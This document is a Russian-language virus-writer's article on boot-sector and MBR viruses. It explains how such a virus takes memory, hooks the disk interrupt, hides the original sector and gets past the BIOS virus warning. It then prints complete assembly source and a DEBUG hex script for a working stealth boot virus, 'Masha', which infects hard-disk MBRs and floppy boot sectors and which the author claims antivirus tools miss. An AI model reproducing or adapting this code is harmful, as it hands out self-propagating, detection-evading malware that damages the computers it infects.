─[BOOT/MBR VIRUSES]───────────────────────────────────────────────────[KELLNY]─


    Итак напомню  всем, что boot - это не ботинок, а первый сектор  дискеты, а
 MBR как вы все знаете - Master Boot Record (первый сектор жесткого диска).


   1. Для начала как обычно немного теории.

    Boot viruses целесообразно совмещать с файловыми, но не будем распыляться,
 посему ...
    При загрузке  компьютера  Bios  считывает  первый сектор дискеты или диска
 (смотря чего в setup указано) по адресу 0000:7C00h и передает на него  управ-
 ление.


   1.1. Формат загрузочного сектора дискеты (0-дорожка, 0-сторона, 1-сектор).

    ┌──────────┬──────────────┬────────────────────────┐
    │ Смещение │    Длина     │  Комментарии           │
    ├──────────┼──────────────┼────────────────────────┤
    │     0    │      3       │  JMP на код загрузчика │
    ├──────────┼──────────────┼────────────────────────┤
    │  0003h   │    03Ah      │  параметры дискеты     │
    ├──────────┼──────────────┼────────────────────────┤
    │  003Eh   │    1C0h      │   код загрузчика       │
    ├──────────┼──────────────┼────────────────────────┤
    │  01FEh   │      2       │   Метка системного     │
    │          │              │   сектора  55AAh       │
    └──────────┴──────────────┴────────────────────────┘

   1.2. Формат главной загрузочной записи (0-дорожка,0-сторона,1-сектор).

    ┌───────────┬─────────────┬─────────────────────────┐
    │ Смещение  │   Длина     │   Комментарии           │
    ├───────────┼─────────────┼─────────────────────────┤
    │      0    │   01BCh     │   маленькая программка  │
    │           │             │   грузящая boot активн- │
    │           │             │   ого диска             │
    ├───────────┼─────────────┼─────────────────────────┤
    │   01BEh   │     42h     │   Partition Table       │
    │           │             │   таблица разделов      │
    │           │             │   винчестера            │
    ├───────────┼─────────────┼─────────────────────────┤
    │   01FEh   │      2      │   Метка системного      │
    │           │             │   сектора 55AAh         │
    └───────────┴─────────────┴─────────────────────────┘


    Наша задача скачать в вирус параметры дискеты или  таблицу  разделов  если
 заражаем винчестер (естественно туда где они должны находится). Затем  ориги-
 нальный загрузчик надо где-то зарыть (не забыть бы где), а  на его место бух-
 нуть вирь.

    Кому не нравится такой способ может написать свой загрузчик уже с вирусом.

    При загрузке компьютера вирус считывается по упомянутому  адресу..., выде-
 ляет для своих нужд кусок память, копируется  туда, перехватывает прерывание,
 затем копирует оригинал все по тому же адресу и отдает ему управление.


   2. Ну, а теперь некоторые моменты поподробнее.


   2.1. Начало вируса.

    Входные регистры: CS:IP=0000:7C00H ; DX=0000
                      ES:BX=0000:7C00H

    cli
    xor di,di
    mov ss,di
    mov si,bx          ; si=7c00h
    mov sp,si          ; устанавливаем стек
    push ss
    pop ds
    sti
    dec word ptr ds:413h  ;выделяем кусок для виря
    int 12h               ;
    mov cx,206h       ;размер вируса
    shl ax,cl         ;в ax адрес будущего сегмента
    push ax
    push ax
    cld
    mov dl,0bdh        ; dx=00bdh т.к. был dx=0
    pop es
    push dx
    rep movsw
    retf         ;прыжок на новый сегмент

new_seg:
****:00bdh  mov ax,...
            ..........


   2.2. Проблема всех Boot вирусов - Virus Warning


   2.2.1. Эту проблему можно снять, подкорректировав setup, но этот  метод не-
 удобен, т. к. надо определить фирму  производителя (Award,Ami,...),.... и во-
 обще очень непрактичный.


   2.2.2. Уже не помню где я это видел. От этой проблемы избавлялись забивани-
 ем "Y" буфера клавиатуры при загрузке. Это выглядит примерно так:

      push cx
      push dx
      mov dx,16
      tt:
      mov ah,05h
      mov cl,79h
      mov ch,15h
      int 16h
      dec dx
      jnz tt
      pop dx
      pop cx


  Действует неплохо, но все таки  можно узреть мигание белой рамки. 
  Я не проверял, но, по-моему, достаточно забить одну "Y".


   2.2.3. На мой взгляд самый надежный - запись через порты. Я не буду  приво-
 дить примеры т.к. это отдельная статья.


   2.3. Stealth в boot вирусах. В boot вирусах этот механизм предельно  прост.
 При попытке считать вирус подставляет оригинал.


   3. Пример загрузочного вируса

    Вирус безобидный. Заражает MBR диска и BOOT  дискет, помещая  оригинал для
 дискет в 0/1/7, а для диска 0/0/7. При попытке  считать вирь подставляет ори-
 гинал, хотя этим пожалуй сейчас можно наколоть только diskedit.exe. Заражение
 MBR  через порты, что не пугает юзеров выскакиваемой  надписью virus warning.
 Да и  еще кое-что, этот вирь  работает как вы уже догадались на компах  286 и
 выше  ввиду  практически  полного  вымирания 8086 и ему подобных (к тому же в
 этом случае вирь укорачивается байт на 15).

    Drweb 4.02, avp 3.0 не просекают.
    Virusname: Маша
    Author: (c) Kellny
    Ну вот вроде и все.
    компилить на masm v6.00
    Мне влом писать инсталлятор, так что diskedit-ом оригинал в 0/1/7, а  вирь
    в 0/0/1. Параметы дискеты можно и не сохранять, так как все равно подстав-
    ляется 0/1/7.
    Вирь занимает 244 байта.

────[MASHA.ASM]──────[START]───────────────────────────────────────────────────
text segment 'code'
       assume cs:text,ds:text
.286
       org 0h
main:  jmp start 
main1:
       org 3eh
int13h:
       mov cs:[4dh],ah
       int 0d8h
       jc exit
       pushf
       push es
       push ds
       pusha 
       mov ax,0002h
       cmp ah,al              ;xx проверка ah=02
       jnz get_out3
       dec cx
       jnz get_out3
       inc cx
       or dh,dh
       jnz get_out3
       push es
       pop ds
       cmp byte ptr ds:[bx+44h],0d8h       ;проверка на зараженность
       jz get_out1
       cmp dl,cl
       ja get_out3 
       mov ax,0301h              
       mov cl,07h               ;прячим оригинал
       inc dh
       int 0d8h
       mov cs:0d3h,dx
       jc get_out3
       push cs
       pop es
       mov di,offset main1           ;перекачка параметров дискеты
       lea si,[bx+di]
       mov cl,3eh-3
       rep movsb
       mov ah,03h        ;запись вируса
       xor bx,bx
       inc cx
       dec dh
       jmp get_out
get_out1:          ;<< Stealth >>
                   ;подстава оригинала
       cmp dl,cl    
       ja hdisk 
       inc dh
hdisk:
       dec ax
       mov cl,07h
get_out:
       int 0d8h
get_out3:
       popa
       pop ds
       pop es
       popf
exit:
       retf 2
start:
       cli
       xor di,di                     ;установка стека
       mov ss,di
       mov si,bx
       mov sp,si
       push ss                    ;+
       pop ds                     ;-
       sti
       dec word ptr ds:413h
       push ss                   ;+
       int 12h
       mov cx,206h
       shl ax,cl
       push ax                   ;+
       push ax                   ;+
       cld
       mov dl,0beh 
       pop es                     ;-
       push dx                   ;+
       rep movsw
       retf                       ;--
       new_seg: 
       pop es                       ;-
       mov si,13h*4     ;  оригинальный int 13h  вешаем на int d8h 
       mov di,0d8h*4    
       movsw
       movsw
       mov ds:[si-2],ax   ; перехватываем int 13h на свой обработчик    
       mov word ptr ds:[si-4],offset int13h
       mov ax,201h
       mov dx,0100h                 ;  хххх 
       mov cl,07h
       push ax                      ;+
       int 0d8h                     
       pop ax                       ;-
       cmp dl,80h
       jz get_out2
       dec dh
       mov dl,80h
       push cs              ;+
       push cs              ;+
       mov bh,ah
       pop es               ;-
       pop ds               ;-
       mov cl,al
       int 0d8h
       jc get_out2
       cmp byte ptr ds:[bx+44h],0d8h
       jz get_out2
       mov ax,0301h
       mov cl,7
       int 0d8h
       jc get_out2
       mov si,03beh
       mov di,offset partition
       mov cl,21h
       rep movsw
       mov ds:[0d3h],dx
       mov dx,1f2h           ;заражение 
       mov al,1
       out dx,al
       inc dx
       out dx,al
       inc dx
       dec ax
       out dx,al
       inc dx
       out dx,al
       inc dx
       mov al,0a0h
       out dx,al
       inc dx
       mov al,30h
       out dx,al
up:
       in al,dx
       test al,8
       jz up
       inc ch
       xor si,si
       mov dl,0f0h
       rep outsw
get_out2:
       int 19h
       org 1beh
partition db (21h*2) dup (?)
       org 510
sign  dw  0aa55h
endd:
text      ends
          end  main  
────[MASHA.ASM]──────[END]─────────────────────────────────────────────────────

────[MASHA.SCR]──────[START]───────────────────────────────────────────────────
N MASHA.COM
E 0100 E9 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2E 88 
E 0140 26 4D 00 CD D8 72 52 9C 06 1E 60 B8 02 00 3A E0 
E 0150 75 43 49 75 40 41 0A F6 75 3B 06 1F 80 7F 44 D8 
E 0160 74 28 3A D1 77 2F B8 01 03 B1 07 FE C6 CD D8 2E 
E 0170 89 16 D3 00 72 1F 0E 07 BF 03 00 8D 31 B1 3B F3 
E 0180 A4 B4 03 33 DB 41 FE CE EB 09 3A D1 77 02 FE C6 
E 0190 48 B1 07 CD D8 61 1F 07 9D CA 02 00 FA 33 FF 8E 
E 01A0 D7 8B F3 8B E6 16 1F FB FF 0E 13 04 16 CD 12 B9 
E 01B0 06 02 D3 E0 50 50 FC B2 BE 07 52 F3 A5 CB 07 BE 
E 01C0 4C 00 BF 60 03 A5 A5 89 44 FE C7 44 FC 3E 00 B8 
E 01D0 01 02 BA 00 01 B1 07 50 CD D8 58 80 FA 80 74 4F 
E 01E0 FE CE B2 80 0E 0E 8A FC 07 1F 8A C8 CD D8 72 3F 
E 01F0 80 7F 44 D8 74 39 B8 01 03 B1 07 CD D8 72 30 BE 
E 0200 BE 03 BF BE 01 B1 21 F3 A5 89 16 D3 00 BA F2 01 
E 0210 B0 01 EE 42 EE 42 48 EE 42 EE 42 B0 A0 EE 42 B0 
E 0220 30 EE EC A8 08 74 FB FE C5 33 F6 B2 F0 F3 6F CD 
E 0230 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA 
RCX
0200
W
Q
────[MASHA.SCR]──────[END]─────────────────────────────────────────────────────

                                                                     (c) Kellny